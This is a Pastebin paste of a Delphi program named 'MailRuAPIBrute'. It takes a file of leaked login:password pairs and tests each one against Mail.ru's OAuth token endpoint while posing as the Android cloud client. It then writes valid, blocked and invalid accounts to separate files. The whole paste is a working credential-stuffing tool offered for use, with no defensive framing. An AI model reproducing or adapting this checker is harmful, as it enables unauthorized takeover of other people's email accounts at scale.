Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- program MailRuAPIBrute;
- uses windows, wininet;
- var
- cAll, cGood, cBlock, cBad: integer;
- function IntToStr(i:integer):string;
- var
- s:string;
- begin
- Str(i,s);
- Result:=s;
- end;
- procedure AddToFile(path, s: ansiString);
- var
- hFile: THandle;
- Dummy: Cardinal;
- begin
- hFile:=CreateFile(PChar(path), GENERIC_WRITE, 0, nil, OPEN_ALWAYS, 0, 0);
- if hFile<>INVALID_HANDLE_VALUE then
- begin
- SetFilePointer(hFile, 0, nil, FILE_END);
- s:=s+#13#10;
- WriteFile(hFile, PChar(s)^, Length(s), Dummy, nil);
- CloseHandle(hFile);
- end;
- end;
- function SSL_SendReq(szHost, szPath, lpszVerb, szHeaders, szData: PansiChar): ansiString;
- var
- dwBytes: Dword;
- Buf: array [0..4096] of ansiChar;
- hOpenHandle,
- hConnectHandle,
- hResourceHandle: Pointer;
- bRead: Bool;
- begin
- result:='';
- Buf:='';
- hOpenHandle := InternetOpenA('User-Agent: Android 2.1.2681 4.2.2:GT-I9505:ru.mail.cloud::',0,nil,nil,0);
- if hOpenHandle <> nil then
- begin
- hConnectHandle := InternetConnectA(hOpenHandle,szHost,INTERNET_DEFAULT_HTTPS_PORT,nil,nil,3,$04000000,0);
- if hConnectHandle <> nil then
- begin
- hResourceHandle := HttpOpenRequestA(hConnectHandle,lpszVerb,szPath,nil,nil,nil,INTERNET_FLAG_SECURE,0);
- if hResourceHandle <> nil then
- begin
- if HttpSendRequestA(hResourceHandle,szHeaders,lstrlen(szHeaders),szData,lstrlen(szData)) then
- repeat
- ZeroMemory(@Buf, SizeOf(Buf));
- bRead := InternetReadFile(hResourceHandle, @Buf, 4096, dwBytes);
- Result := Result + Buf;
- until (bRead = false) or (dwBytes = 0);
- end;
- InternetCloseHandle(hResourceHandle);
- end;
- InternetCloseHandle(hConnectHandle);
- end;
- InternetCloseHandle(hOpenHandle);
- end;
- (* 0 - Валидный аккаунт *)
- (* 1 - Блокированный аккаунт *)
- (* 2 - Невалидный аккаунт *)
- function CheckAccount(login, pass: ansistring): byte;
- var
- answer: ansistring;
- begin
- answer:=SSL_SendReq(PAnsiChar('o2.mail.ru'),
- PAnsiChar('/token'),
- PAnsiChar('POST'),
- PAnsiChar(''),
- PAnsiChar('username='+login+'&client_id=cloud-android&grant_type=password&password='+pass));
- if Pos('access_token', answer) <> 0 then
- result:= 0 else
- if Pos('blocked', answer) <> 0 then
- result:= 1 else result:=2;
- end;
- procedure Brute(basepath: ansistring);
- var
- f : TextFile;
- line: ansistring;
- delimiter: ansichar;
- delimiter_pos: integer;
- login, pass: ansistring;
- begin
- AssignFile(f, basepath);
- Reset(f);
- While not(eof(f)) do
- begin
- Readln (f, line);
- if Pos(':', line)<>0 then delimiter:=':';
- if Pos(';', line)<>0 then delimiter:=';';
- delimiter_pos:=Pos(delimiter, line);
- login:=Copy(line, 1, delimiter_pos-1);
- pass:=Copy(line, delimiter_pos+1, Length(line));
- case CheckAccount(login, pass) of
- 0: begin
- AddToFile('good.txt', line);
- SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 43);
- writeln('GOOD: '#9+line);
- Inc(cGood);
- end;
- 1: begin
- AddToFile('block.txt', line);
- SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 3);
- writeln('BLOCK: '#9+line);
- Inc(cBlock);
- end;
- 2: begin
- AddToFile('bad.txt', line);
- SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 192);
- writeln('BAD: '#9+line);
- Inc(cBad);
- end;
- end;
- Inc(cAll);
- SetConsoleTitle(PAnsiChar('MailRuApiBrute - | '+IntToStr(cAll)+' | '+IntToStr(cGood)+' | ' +IntToStr(cBlock)+ ' | '+IntToStr(cBad)));
- end;
- close(f);
- end;
- var
- s: ansistring;
- begin
- AllocConsole();
- writeln('= CODED BY CrydBrox =');
- SetConsoleTitle(PAnsiChar('MailRuApiBrute - | '+IntToStr(cAll)+' | '+IntToStr(cGood)+' | ' +IntToStr(cBlock)+ ' | '+IntToStr(cBad)));
- if ParamStr(1) = '' then
- begin
- writeln('Drag the BASE to the EXE-file');
- writeln('OR');
- writeln('Drag the BASE to the console window.');
- writeln('And press ENTER');
- readln(s);
- Brute(s);
- end else
- Brute(ParamStr(1));
- SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7);
- writeln('Finished!!!');
- readln;
- end.
Add Comment
Please, Sign In to add comment